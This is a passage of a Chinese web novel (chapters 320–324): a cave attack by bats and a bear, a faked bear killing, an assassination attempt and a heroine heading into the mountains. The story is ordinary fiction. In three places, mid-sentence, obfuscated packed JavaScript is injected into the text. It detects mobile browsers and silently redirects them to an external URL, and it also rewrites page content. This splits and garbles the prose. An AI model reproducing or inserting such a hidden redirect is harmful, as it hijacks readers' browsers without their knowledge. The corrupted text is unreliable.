“一起吧!”欧阳恭看出林序的犹豫,“免得到时候一个接一个的中暗算,大家在一起能相互照应,我瞧着这里有些不太对劲。” 尤其是想到,方才的那个动静。 到底是什么东西? 蓦地,众人猛地转头,循声望向一侧的路口,好像是什么东西滋滋啦啦的声音? 锐利的指甲或者是石块,划拉在岩壁上,发出了尖锐刺耳的声音! “什么东西?”欧阳恭心里一紧。 林序握紧了手中剑,“大家保持警惕,有点不太对劲。” 众人屏气凝神,跟在了林序的身后,缓步循声而去。 浓烈的腥臭味,迎面而来,夹杂着动物皮毛的骚臭,熏得人头晕目眩,五内翻滚,几欲作呕。 “什么味道?”欧阳恭捂住了抠鼻,“好臭!” 林序倒是知道这是什么味,“以前在边关的时候,狼群出没就是这样的味道。” 心下一紧,欧阳恭僵在原地,“熊瞎子?” 熊?! 一听这话,众人齐刷刷的紧张起来。 熊会躲在这里吗? 还是说,这就是熊窝? 他们一不留神闯到了熊窝里来了? 要死啦! 要死啦! 说话间,欧阳恭的刀已经抽了出来,随时准备着出手。 周围都是黑漆漆的,时不时有冰冷的水珠子从头顶落下,耳畔传来哗啦啦的水声,伴随着“滴答”、“滴答”的动静。 忽然间,头顶猛地掠过一阵巨响。 众人心惊。 突如其来的蝙蝠,惊得所有人慌忙矮身抱头,堪堪避开了这群东西,然还是有人惊觉了异常。 “这蝙蝠会咬人!” 不,不是蝙蝠咬人,而是这蝙蝠……会吸血。 刺痛袭来,血腥味瞬间弥漫开来。 “小心!”欧阳恭举着火把,狠狠甩飞了几只扑向林序的蝙蝠,“快,快走!” 说话间,林序腕上一抖,剑花四溅,打得蝙蝠吱哇乱叫。 “走!”林序厉喝。 下一刻,有人惊呼,“熊!” 只听得“嗷”的一声,那粗重的呼吸已经近至跟前,紧接着便是硕大的身影挡住了光亮,黑压压的落下,带着绝对的体型优势…… “林序!” 霍青行猛地从噩梦中惊醒,额头冷汗弥补,瞬时掀开了被褥下床,三步并作两步打开门出去。 外头,下着雨。 今日下了一天的雨,霍青行悬了一天的心,总觉得七上八下的,满是忐忑不安,连陈识月都说今日这天气不太好,身心都不太舒爽。 管家行来,“少将军怎么了?” 霍青行站在檐下发呆,一身中衣单薄,“我不放心林序。竟还是没有消息吗?” “没有。”管家摇头,“林序素来机敏,应该不会出什么事吧?” 霍青行没说话。 谁知道呢? 林序,你可千万不要出事! 第三百二十章 被咬死了 霍青行的心里不踏实,陈识月似乎也有所心灵感应,心里也是忐忑不安,一大早起来,不慎磕着膝盖,疼得她龇牙咧嘴。 “姑娘!”迎春心惊胆战,慌忙搀着陈识月坐下,“怎么样?” 陈识月摸着生疼的膝盖,磕着凳子腿的时候,是真的很疼,不过转瞬就没了感觉,身子的自愈能力,让她能再最短的时间内,快速恢复过来。 “没事没事。”陈识月缓过神来,“走神了。” 迎春揉着她的膝盖,不由得皱起眉头,“姑娘在想什么?” “林序还没消息,将军府那边应该会很着急吧?”陈识月倒是没有隐瞒,“迎春,你让冬梅去一趟,问问有没有消息?” 迎春颔首,“姑娘放心,我让冬梅待会就去。” 外头,雨声淅淅沥沥的。 每个人的心里都是乱糟糟的,冬梅撑着伞去了一趟将军府,陈识月今日没有去回春堂,安安静静的待在小院里。 杜决从外面采买回来,这会神情有些古怪,将东西递给了杜忠之后,快速走进了廊下,“姑娘。” “怎么了?”陈识月坐在廊下,心神不宁的翻看着手中的医书,瞧着杜决如此神情,不由得心头一紧,“出了何事?是回春堂又出事了?” 杜决忙摇头,“那倒不是,自闹了一场,回春堂如今还算安稳,只不过我回来时候,听到衙役在街边避雨的时候,提到了欧阳捕头。” 欧阳恭? “欧阳捕头怎么了?”陈识月不解。 迎春也不明白,“去侯府抓人了?” “不是!”杜决摇摇头,“欧阳捕头告假了,如今不知所踪。” 陈识月:“??” “不过,说是有人瞧见欧阳捕头出城了。”杜决又道,“我寻思着,是不是跟着林公子他们走了?” 陈识月合上手中的医书,“你还真别说,有这个可能!” “到底是金都府人士,想来对这城内城外的事情,多多少少有所了解吧?”迎春低声开口,“若是真的跟着林公子他们走了,倒是一桩好事。” 陈识月也这么想。 “但是我又听到另一个消息。”杜决有些犹豫。 陈识月:“??” 迎春:“??” 这么大喘气,想死啊? “他们提到了之前在舞姬坊的事情,说是林公子遇见的不法之徒,可能是……是杨家的人。”杜决小声嘟哝,“丞相府。” 丞相府? 迎春不明白,“丞相府的人,为什么要袭扰林公子?” 杜决把头摇得跟拨浪鼓似的。 这哪儿知道呢? 于是乎,二人齐刷刷的盯着陈识月。 陈识月先是一愣,其后眉心紧蹙,似乎也是没想明白其中关窍,三脸懵逼的僵在那里,愣是无一人再说话。 “不管是什么缘故,横竖不是好事,丞相府与侯府不相上下,都是仗势欺人的主。”迎春面露不悦,毕竟平日里也是见得多了。 陈识月点点头,“以后当留心。” 丞相府,杨家。 杨明慧?! 可能是因为那天夜里,林序说话有点重,所以杨明慧便记恨在心? 总之,离丞相府远一点,总归是没错的。 “怕就怕丞相府的人会使坏,万一在外头耍点手段……”杜决小声嘟哝。 陈识月起身,“林序是个极为小心之人,别看他成日大大咧咧,实则内心细腻,行事缜密,应该不至于轻易被人暗算。但我们得谨记,尽量避开侯府与丞相府的接触。” “是!” “是!” 话音刚落,天空忽然一记炸雷,惊得三人皆是心中惊颤,免不得乱了呼吸节奏。 这雨……下没完了?! 正说着话呢,外头好似闹起来了。 这小院本就在街市,外头一闹腾,他们必定是第一时间知晓,这也是霍青行将陈识月安置在此的原因,一则免得她觉得冷清孤单,二则什么消息都能第一时间知晓。 “怎么回事?”迎春诧异。 杜决撑着伞就走,“我去看看。” “我们也去!”陈识月将医书放回屋内,与迎春一道走向院门。 便是站在院门口,也能将外头的消息听在耳中。 好像是说,衙门的人刚把一伤患抬了回来,据说是熊瞎子伤人,伤得还很严重,此刻人已经送去了回春堂。 迎春诧异,“熊?” 陈识月心中一紧,“杜决,你去打听一下怎么回事,杜忠看家,等着冬梅回来,我带着迎春去回春堂看看情况。” “知道了,姑娘。”杜决点头,撑着伞冲进了雨中。 回春堂。 血淋淋的伤者被抬了进来,原本还算干净的担架,此刻早已被鲜血染红,搁置在大堂的时候,血腥味快速弥漫开来。 原先在堂内待诊的病患,各自变了脸色,想要上前一看究竟,碍于衙役和血腥味,只能站在远处旁观,未敢靠近。 因着昨日事,又因着今日下雨,白重今日哪儿都没去,恰好在回春堂里。 听闻衙门来人,白重火急火燎的从后院出来,乍一眼地上血淋淋的一幕,当即招呼人把伤患抬到后面去。 前面人多,免不得要吓着旁人。 衙役紧随其后,解释了原因,说是城外的熊伤人,伤者身上的伤皆是熊爪与利齿之故,处理起来可能很是凶险。 闻言,白重的脸色分外难看。 熊…… “怎么无端端的,又出来伤人?何况还是青天白日的。”白重束好袖口,底下人快速将药箱打开,将一应用具悉数摆在了案台上,随时等候取用,“这下雨天的,熊怎么还跟外头惹祸?” 再者…… 此人冒着这么大的风雨,跑进熊的领地作甚? 猛兽皆有自己的领地范围,若不贸然闯入,也不至于如此啊! “还有一口气。”白重已经拿剪子,撕开伤者的衣衫,将全身伤口呈现在眼前,到处都是血淋淋的,有些甚至于只有些许肉丝和薄皮相连,伤口深可见骨。 衙役们倒吸一口冷气,边上帮扶的伙计和药童都跟着傻了眼。 掌柜和老大夫面面相觑,心知这么重的伤,几乎是没有存活下来的可能,即便是包扎好了伤口,也只能是死的时候,死得稍微齐整、体面一些。 “白大夫?”衙役有些担心,“还、还能活吗?” 白重面色凝重,抿唇不语,只是看了看他们,然后轻轻摇头。 人还活着,虽然双目紧闭,但应该……听觉犹存,所以白重没有直接言明,只准备好了一切之后,低头开始处理伤口。 迎春刚收了伞,还来不及抖落伞面的雨水,陈识月已经大跨步的进门,快速朝着后院走去。 但愿还能活。 可惜,还是来晚了。 第三百二十一章 我进山一趟吧? 陈识月赶来的时候,人已经咽气了,直挺挺的躺在那里,身上的血还是温热的。 “你怎么过来了?”白重一怔。 衙门的人也认识陈识月,当即拱手算是见礼。 “我听说有熊伤人,就赶紧过来看看怎么回事,人……”陈识月张了张嘴,话到了嘴边却怎么都说不出来了。 这可是活生生的一条人命,不过是眨眼间的功夫,就成了一具尸体。 “来不及了。”白重摇摇头,“伤的太深了,你看这两处伤,几乎是掏到了脏腑,要不是被人发现得早,只怕内脏都会被掏出来。” 陈识月面色有些难看,“可是……” “可是什么?”白重不解。 陈识月皱起眉头,“我此前一直在中山采药,倒也不是全然,没见过熊瞎子吃人伤人的,它们一般都是先从面部吃起,专掏内脏,可我瞧着……” 瞧着这伤患,有点不太对劲。 听得这话,屋子里的人全都愣住了,一个两个,你看看我,我看看你,显然都意识到了一点不太对劲,但是猛兽终归是猛兽,谁能保证行径都有迹可循呢? 也许今天,它不想吃脸和内脏了呢? 也许今天,它就想吃个胳膊吃个腿呢? “还有便是这伤口。”陈识月指着死者毕竟上的那一道,“太均匀了。” 众人:“??” 这还分均匀不均匀? 白重是从边关回来的,也不是没见过猛兽,但却也没认真想过太多,毕竟都是十多年前的事情了,且当时都是以军中的利器伤为主。 “人的手指尚且高低粗细不同,哪怕修个指甲,也都是不一样的,可这爪子挠下来,没有半根熊毛不说,伤口血淋淋的,却是分外整齐。” 陈识月不是没见过猛兽伤人,村子里也会有熊,也会有野猪,有狼有野狗……但是伤口这么齐整的还真是不多。 白重回过味来,“伤口是我处理的,你这么一说,好像是这个理儿,清晰的时候,我发现他的伤口很干净,衣裳包裹在外头,可见血污,但是内里好似……” “而且他的手也很干净。”陈识月捻起边上的碎衣料,握住死者的手腕,把他的手举起来,“手指甲里很干净。人在遇袭的时候,第一时间会抓挠,会抵抗,他这手干干净净的,没有什么抵抗伤,这不符合常理。” 衙役傻眼了,“公子,你是仵作?” “我不是仵作,我只是乡野大夫。”陈识月忙摆手,“见过不少猛兽伤人的事情,所以知道一些处理的方法,今日瞧着委实不是故意刁难,实在是心中费解,若是有哪里说得不对,还望诸位官爷莫要往心里去,别跟我计较。见识浅薄,得罪了!” 衙役连连摆手,“不不不,公子所言,解开了我等心中疑惑,方才抬回来的时候,咱就说这伤者有点不太一样,可我们这几个也不懂岐黄之术,左思右想也想不出个所以然。公子一番话,我等宛若醍醐灌顶,竟都明白了。” “若不是熊伤人致死,那……”白重低声嗫嚅着,“那这件事作何解释?” 衙役愣住,如果不是猛兽伤人,那便是有人蓄意杀人,为的是摆脱杀人嫌疑,那这件事可就严重了,甚至于之前那几起熊伤人的案子,都可能是如此缘由。 肆意杀人,推诿至兽。 可恼,可恨! “此事我们会上报知府大人,若是真的有恙,只能听凭大人定夺,咱们也只是个当差的,到底做不了主。”衙役拱手,“尸身就先抬回衙门,且交仵作再说。” 人都死了,还能如何呢? 衙门的人快速把尸体抬走,正门来,偏门走。 外头,依旧下着雨。 陈识月的脸色不太好,白重让人收拾了屋子,带着陈识月去了隔壁房间。 “要不是你,怕是连我都得看走眼。”白重的脸色有些难看,“如果真的查出来,是人做的,那此前那几桩熊伤人的案子,怕是都有冤情在其中,对衙门来说,这可不是好事。” 陈识月不解,“按理说,仵作此前应该也验过。” “都以为是熊伤人,家里人当即带走了尸体,草草就给收拾了,怎么可能送去让仵作验尸?入土为安,早早给埋了。”白重叹口气。 陈识月点点头,表示理解,“叔公,我一事不明,如果是人所为,此前可能是有所过节,那现在又是为什么?会不会是冲着林序他们去的?” 创造一个假象,让所有人都误以为,山林中的熊还在,其后出现任何变故,都是这头熊所为? 两人面面相觑,一时间竟都无言以对。 霍青行来的时候,看见的便是这样的一幕,白重和陈识月的情绪都有些低落,看上去都有些心情沉重,似乎是猜到了什么?又或者发现了什么? “你怎么过来了?”陈识月问,“我不是让冬梅……” 霍青行点头,“冬梅跟我说了,怕她说不清楚,怕你无故担心,所以我便特意来一趟,亲自与你详说。瞧你如此模样,是发现了什么?” 再看白重的脸色,应是差不离。 “今日有熊伤人致死,但我发现这伤口似是人为,不像是熊爪所伤。”陈识月压低了声音,略显担忧的开口,“我与叔公觉得这些事情可能没那么简单,此前就有类似的事情,如今恰逢林序进山,是不是有人想要借此充作推脱的借口?” 霍青行看向她,面色沉沉,“将杀人之罪推给熊?” “嗯!”陈识月颔首。 霍青行深吸一口气,竟是一句话都答不上来。 “衙门的人说,会回去调查。”白重开口,“但究竟会有什么样的结果,那就不得而知了。若是巧合也就罢了,如若不然,要早作准备。进山的人,得尽快让他们出来,做好接应,否则的话,恐有危险。” 霍青行点头,“我已经让人去接应了,只是群山连绵,想要接应也不是容易的事。只能说是,尽力而为吧!” 林序跟着他多年,想来也是个谨慎的,若是发现不对,不会硬碰硬。 “要不然,我进山一趟吧!”陈识月低声开口。 霍青行愕然,“不行!” “不行!”白重也一口否决,“绝对不行,你是个女子,山中情况恶劣,地势复杂,若是有什么好歹,我如何跟你外祖父他们交代?不行,这绝对不行!” 霍青行深吸一口气,“我会派人去找,你别轻举妄动。” “山中未必有真兽,但有真的有人作祟,且此人深谙人心,不可小觑。”陈识月蠢蠢欲动。 第三百二十二章 你们不能用性别固化我 话是这么说的,但事情终究要处置的,不可能一味的听之任之,若接下来还得派人继续前往山中,怕就怕会打草惊蛇,对林序他们不利。 但若是不这么做,万一林序出事,外头接应的人来不及跟上,恐怕结果也不会太好。 横也是糟,竖也是糟。 千金难买早知道。 “我常年在山中采药,论山中生活的经验,你们未必能比得上我。”陈识月看向二人,“如今只有我去,才是最好的选择。你们就让我去吧!” 能不能把林序平安带回来,她不知道,但尽一份心力还是可以做到的。 “我会医术,也懂得分辨危险,知道什么该做,什么不该做,若是遇见什么事情,我能救所有人,只要还有一口气。”她的语气是那样的平静从容,却又说得那么笃定。 霍青行肯定不能答应,白重也不敢让她冒险。 “大不了,你给我挑几个得力的?”陈识月看向霍青行,“这件事肯定要交给称心的人去做,且不能打草惊蛇,你还在犹豫什么?” 霍青行盯着她,一动不动。 “我知道,你们觉得我是女子,做不了这样危险的事情,可我这么多年一直这么过来的,对我来说在山中生活并不是什么难事。”陈识月低头笑了笑,“那时候脚下打滑,被挂在悬崖下的藤蔓上一天一夜,我不也爬上来了吗?” 霍青行瞳孔骤缩,张了张嘴,眼底满是心疼之色。 “你们不能用性别来固化我,觉得女子就做不了这些事。”陈识月摇摇头,“我知道自己几斤几两,不会因为强出头而逞强,我说的每一句话都是源于对自己能力的信任。” 做不到的事情,她不会答应。 她又不蠢,做不到的事情答应下来,只会给所有人拖后腿。 她不做这样的蠢事! “我是真的可以。”陈识月低语,“你们相信我一下,可以吗?” 白重没说话,将目光落在霍青行的身上,等于是将决定权交给他。 “我不是不相信你,只是害怕……”霍青行软了语气。 不怕自己死,就怕她出事,一分一毫的冒险,都不敢有。 可陈识月这一番话,却好似忽然将他兜头泼了一盆冷水,让他瞬间清醒过来,是了,她是活生生的人,是个有主见,这些年一直独立自主,好好活下来的好姑娘,他怎么能自私的将她罩在羽翼之下? 她本是翱翔的鹰,为什么要剪掉她的翅膀?! “我给你挑人。”霍青行开口。 陈识月笑了,“好!” 这便算是达成意见统一,她只要情绪稳定,他就能听进去她的话。 就像是镇住他的基石。 她说,他听。 不只是要挑人,还得准备进山的东西,既然有人装神弄鬼的,想用熊伤人之事来遮掩山中的秘密,势必会在山中多设陷阱,林序他们还不知是否与对方打过照面? 若是早已暴露行踪,怕是这会已经陷在了水深火热之中…… 小院。 陈识月刚进门,就瞧见了神情怪异的杜决和杜忠,当即脚步一顿,心想着二人不会是想跟着她进山吧?然而下一刻,她便打消了这个念头。 瞧着等在檐下的金都府府尹柳大人,陈识月的一颗心陡然下沉,面上浮现几分不自然的神色。 这是作甚? 柳大人为何会出现在这里? “月公子!”柳大人率先开口,大概是看出了她的异常,当即开口解释,“本府只是作为寻常人过来问两句,并非作为金都府的府尹,进门盘问。” 陈识月深吸一口气,“大人如何知道,我住在这里?” “本府是知府,要查一个人其实不难。”柳大人解释。 何况陈识月的背后不曾有什么大人物阻挡,说白了,她孤身一人,本就是最好拿捏的存在,但这话说得太现实,委实太难听。 “柳大人是因为熊伤人之事而来?”陈识月走到了檐下。 迎春站在边上,抖落了伞面的雨水,狐疑的看向冬梅。 冬梅点头。 见此,迎春又冲着杜忠使了个眼色。 杜忠眨了一下眼,悄无声息的离开。 杜决与迎春对视一眼,默默的推到一旁,仔细留意着柳大人与陈识月的对话,不管怎样,都不能让姑娘吃亏。 “是!”柳大人肯定的点头。 陈识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929661|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月敛眸,“那柳大人可能来错地方了,之前在回春堂的时候,该说的话我都说清楚了,实在是没有其他的可供大人采纳。” “月公子心思通透,目光如炬,很多东西都看得比旁人更透彻。”柳大人不急不缓的开口,“正因为如此,所以本府才特意私下来找你,只盼着能为金都的百姓,多做一些事情。” 这最后一句压下来,还真是沉甸甸的。 好在,陈识月不吃这一套。 “大人这话,可真是折煞草民了。”陈识月与他拉开距离,毕恭毕敬的行礼,“草民是外地来的,不过是略懂一些医理,委实是太过招摇太显摆,以至于让大人误会了。草民在此向知府大人请罪,还望大人莫要将那些话往心里去,府衙有仵作,有府医,委实不该让我等卖弄扫兴。” 柳大人摆摆手,“本府倒不觉得卖弄,相反的,你说的很有道理,此前一直忽略的线索和疑窦,月公子三言两语,便为本府释疑解惑,本府深表感激。” “不敢当,一介白衣,话语粗糙,不敢掺合公堂之事,望大人恕罪。”陈识月俯首揖礼。 柳大人面上一顿,显然也明白她的意思。 这是半点都不想掺合,其实也能理解,谁敢掺合这样的腌臜事?弄不好,还得无故沾上他人的鲜血,惹上不该有的官非。 “换做是本府,也只盼着能摘干净。”柳大人表示理解,“但若是以后若有别的线索,或者是想起了什么,务必要即刻前往府衙,告知本府。” 说到这里,柳大人还不忘叹口气。 看言行举止,听他说话间透露的,倒真像那么回事。 目送柳大人离去的背影,冬梅小声嘟哝,“听起来,倒像是真心为百姓着想,是个好官。” “傻姑娘,好官不会写在脸上,也不是光靠嘴皮子说的。”迎春见多识广,“你得看他为百姓做了什么,危急关头如何抉择。光动嘴皮子,谁不会啊?小丫头,人是最善于隐藏心性的,你这样单纯,小心遭人暗算。” 她见过太多道貌岸然的**子,是不会贸贸然相信别人的…… “暗算我?赢了我才行。”冬梅呐呐的反驳。 迎春不跟她计较,转头看向陈识月。 第三百二十三章 谁在试探她? 陈识月没有多说什么,没证据的事情她也不敢妄下结论,只是静静的站在那里,瞧着雨幕中的院子,心里有些沉甸甸的。 雨声淅淅沥沥,敲打着屋瓦,略有些嘈杂。 “姑娘?”迎春端着糕点进门。 陈识月正在收拾东西,听得动静当即抬头看过来,手上的动作倒是一点都没停下来,“迎春,我要出去一阵子,家里的事情你让大家都看着点。” “姑娘夜里没吃多少,我想着姑娘肯定是有心事,多半是因为白日的事情,就给你做了点米糕。”迎春将糕点放在桌案上,“不过,姑娘这话吩咐杜决和杜忠罢了,他们负责看家便好。” 陈识月从这话里揣摩出不一样的味道,“你……” “少将军让我跟着你,那不管你走到哪儿我都要跟着,至于冬梅,一切她自己选择,爱跟不跟,想看家就看家,小丫头脑子简单,但一身好功夫,有使不完的牛劲。”迎春笑着看她,“姑娘可别想甩下咱们!” 陈识月的心里是感动的,只不过…… “你知道我要去作甚?”陈识月问。 迎春点头,“当然是知道的,正因为知道,所以才要跟着你。东西我都收拾好了,到时候只管跟着你便罢!” “我自然也要跟着,待在这里多无聊。”冬梅从外面进来,“山里空气好,我就喜欢去山里。” 迎春看着她笑。 陈识月也被她逗笑了。 “若是来个猛兽,只管看我的,我剁个熊掌给姑娘加餐。”冬梅一副天不怕地不怕的傻萌气势。 别看她成日一副睡不醒,傻乎乎的模样,真的动起手来,还真不是一般人能比。 陈识月瞧着眼前二人,心里暖暖的,“多谢你们。” 萍水相逢,却倾心相付。 真好。 来自陌生人的温暖,真的一点就知足。 蓦地,冬梅和迎春面色陡沉。 二人分工默契,迎春当即扣住了陈识月的腰肢,冬梅快速夺门而出。 陈识月:“??” 怎么了? 怎么了? 下一刻,门外传来怪声。 好像是…… 打斗? 有人打起来了! 陈识月心里一紧,这是怎么回事? 须臾,杜决冲进来,“姑娘,没事了!” 如此,迎春才敢撒手。 出去之后,陈识月才知道发生了何事。 “这是何人?”陈识月愣了愣。 黑衣蒙面,还一来就来了两。 “当我这是什么地方,想来就来,想走就走?”陈识月缓步上前,这二人的遮脸布被冬梅快速扯下。 冬梅抬头,“姑娘可识得?” “不认识。”陈识月摇头,“脸生。” 冬梅了悟,“持剑而来,不走常路。半夜三更,非奸即盗。” “搜一搜。”迎春开口。 杜忠快速将二人都绑起来,然后搜了个遍,除了随行的佩剑,身上还有一点迷烟和一包药粉。 “不知道是什么药?”杜忠将这包药粉递上,“姑娘小心,肯定不是好东西。” 陈识月是大夫,旁人可能分辨不出这是什么,但她打开来看了看,玉手轻轻扇动,略有似无的气味便快速传入了鼻间,“剧毒。” 众人:“……” 又是迷烟,又是剧毒? “他们是来杀你的?”冬梅愕然,“难怪少将军吩咐,在家得寸步不离,出门让迎春跟着,却原来真的会有人图谋不轨,心生杀意!” 可这,是因为什么呢? 陈识月也有些纳闷,自己来了金都之后,没有暴露身份,也没有跟人起过冲突,怎么就招惹了这样的灾祸呢? “姑娘,别想太多,把人送去将军府吧!”迎春忙道,“不管是谁在背后作死,都让将军府去出面处置,您不必脏了自己的手。” 陈识月点头,“杜忠杜决,你们把人送去将军府。” “是!” “是!” 这怕不是谁家的死士,谁家的暗卫吧? 管他呢! 欺到她头上,定不与人善罢甘休。 人被送到将军府的同时,霍青行便跟着杜家兄弟过来了。 “你怎么过来了?不是说明日去城门外等我吗?”陈识月诧异,“我没事,人是大家一起抓住的,我连一片衣角都没碰到。” 霍青行依旧是不放心的,“都上赶着找到地方了,改明换个地方。” “只要还在金都城,换哪儿不都是一样的吗?”陈识月倒是半点都不担心,“躲得了一时,躲不了一世,说不定此番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933788|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是个试探,若是咱们畏惧,赶紧搬走,反而中了他们的计策。” 陈识月这话也不是没有道理的,金都城说大不大,说小不小,能躲到哪儿去呢? 何况,他们回来了,本就不是为了躲藏才回来。 他们是为了面对,才会回来的。 “我明日就走,耽误不了事。”陈识月示意他放心。 霍青行点点头,“没事就好,东西收拾得如何?” 到了这会,陈识月才发现霍青行背着包袱。 “你这……”陈识月顿了顿。 霍青行将包袱搁在桌案上,“和当日林序所带的相差无几,给你的**一定要带上,以便不时之需。” “我都记得,东西都带上了。**,解药,我的针包。”陈识月做事仔细,“我不是头一遭进山,你莫要紧张。” 她的东西也都收在包袱内,到时候还有迎春和冬梅陪着,就更加妥当了! “对了,那两个人……”陈识月犹豫,“可得仔细藏着,免得到时候人丢了,幕后之人会觉醒。” 霍青行颔首,“我都懂。” “回去吧,我没事!”陈识月收下他给的包袱,“快走吧!明日,城门外见。” 霍青行一步三回头,“知府今日来找你?” “为了熊伤人的事情,但我没接招,不管他说什么,我都装傻充愣,他拿我没办法。”陈识月笑了笑,“等来日再想找我,我不在家,他估计更拿我没办法。” 霍青行出了偏门,“回去吧,下着雨呢!晚上好好休息,明日城门外见。” “嗯!”陈识月看着他撑伞没入雨中,如释重负的吐出一口气。 今晚闹了一出,但因为发现及时,当场就被摁住,所以没有惊动周遭。 翌日晨起,雨停日出,天气不错。 天蒙蒙亮,城门刚开,陈识月就带着迎春和冬梅出了城,留下杜忠和杜决看家。 霍青行在六部衙门点卯之后,快速策马去了西郊大营。 人已备下,按照陈识月要求的,四个精锐暗卫,都是有山林生活经验的,带着绳索和各种用具,跟在陈识月的身后。 冬梅有些激动,拔剑看了看。 昨晚连夜磨得锃亮,希望能派上用场。 迎春看着她就直翻白眼,“收剑,刺眼!” 第三百二十四章 进山第一夜,有双眼盯着她 一切都已经准备就绪,陈识月也该进山了。 再依依不舍,也得迈出这一步。 陈识月头也不回的往山里走,长长的山道上,她越走越远,身后的人快速跟上,小心翼翼的护着她,及至最后消失在霍青行的视线里。 管家特意来送的,瞧着变成望夫石的霍青行,笑也不是,哭也不是,只剩下无奈的叹息,这毛病果真是遗传呢! 代代相传,谁也跑不了。 陈识月走了,霍青行便觉得心里也跟着空了一块,风一吹,就空荡荡得厉害。 “少将军,别看了,人都走远了!”管家在边上叹气,“您收收心,如今不还有别的事儿吗?姑娘都没闲着,您可不能光顾着睹物思人啊!” 这丫头胆大心细,老将军要是瞧见了,肯定会喜欢。 不愧是将军府未来的女主子! 老管家也是越看越喜欢,但也知道这一路还有所波折,陈识月的身份始终是一道坎,要跨过去,得做很多的努力。 没有一个帝王,会心甘情愿,毫不犹豫的承认自己的错误。 帝王只会怪罪臣子,只会遏制指认他错误的人! 帝王无错。 谁敢说他错,谁就该死。 “走吧!”霍青行看了一眼不远处的人,“你们务必要看好周遭,两拨人巡逻,两拨人看守。十二时辰轮换着来,一刻都不能停下,这山里的多条性命,如今便算是交到你们手里了。” 众人行礼,“请少将军放心,我等必拼死守护。” 走的时候,霍青行回头睨了一眼,握紧了马缰。 玥儿,你可一定要平安回来…… 把林序带回来。 真相什么的,在生死面前可以放一放。 山中多瘴气,尤其是这深山老林之中,越往里面走,越是阴暗潮湿,脚下的路也是越走越狭窄,到了最后就没有道路可言了。 “再往里面走,大概就没路了,得靠我们自个杀出一条路来。”迎春环顾四周,“如今还是白日,光线都落不下来,到了夜里肯定会更黑。此前他们说的熊伤人之事,我们也都听说,具体位置都在图纸上标注了出来,但不知道是否准确。” 冬梅摆弄着她的仪表盘,“已经失效了,这里似乎有什么东西,一直在干扰我的指南针,没办法照常运转。” “这就意味着,这山里有东西?”迎春问。 冬梅收起仪表盘,“那我就不清楚了,就算有,也不是什么好东西。” “朝这边走!”陈识月开口。 迎春和冬梅没有多说什么,紧跟在陈识月的身后,不管姑娘要去哪,她们只负责跟从,以姑娘那谨慎小心的性子,不可能胡乱指路。 且这山中生活的经验,二人终究比不得陈识月。 “这边有草木折损的痕迹,且瞧着高度,不可能是兔子、山鼠之类的,要么是大型的猛兽,要么就是人活动过的痕迹。”陈识月解释,“多留意周遭,林序素来小心,必定留有痕迹。” 这话刚说完,便传来护卫的惊呼,“这里!” 树干上,画了一个三角形。 “画得这么明显,是不是有人故意为之?”迎春担忧。 陈识月刚要开口,就听得又有人喊了声,“这里也有。” 分叉路口,出现了这样的痕迹,倒也不足为奇,林序不是光进山不出山,总要记住来时路,到时候才能原路返回。 “走另一边。”陈识月却掉头选择了另一条路。 冬梅不解,“姑娘,标记在那条路。” “我们被人跟上了。”陈识月压低了声音。 冬梅不语,迎春也沉默了。 “林序进来都两三天了,那个标记太新了。”陈识月挑眉。 迎春恍然大悟,“我就说,怎么瞧着有些怪怪的,之前那个标记有些晦暗,瞧不真切,但到了路引这边就特别明显。” “有人要引我们去陷阱?”冬梅握紧手中剑。 陈识月不以为意,“山中多陷阱,你别贸贸然出手,等观察好了周围的环境,再出手不迟,免得到时候赔了夫人又折兵。” “别冲动!”迎春也摁住了冬梅,“敌在暗,我在明,你若是贸贸然出手,只会让大家身陷险境。” 没有撕破脸,对方就处于观察的状态。 如他们这般,没摸清楚对方的底细,是不会轻易出手的,所以大家暂时还算安全。 “我知道。”冬梅点点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933789|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈识月缓步朝前走去,空气里没有异样的气味,那东西不管是人还是畜生,都离他们有一段距离,至少她没闻出异样。 一行人没敢逗留,也没有回头看,只小心翼翼的护着陈识月往前走,穿过茂密的灌木丛,趟过小溪,从一人高的茅草从中出来,天已经彻底暗沉下来。 “找个地方,今夜休息。”陈识月低声开口,“山中的夜不太平,我们要找个能保护自己的地方,比如说是石洞什么的。” 迎春道,“不是说这山中多洞窟吗?找一个。” 不只是山中多洞窟,脚下也不乏溶洞,只是凑巧没碰到什么入口,得仔细留意。 火光摇曳,冷风猎猎。 山里日夜温差大,白日里倒也罢了,夜里便明显感觉到了瘆人的寒意。深入骨髓的凉,夹杂着湿冷的风,一个劲的往骨头缝里钻。 好在,他们找到了一个山洞。 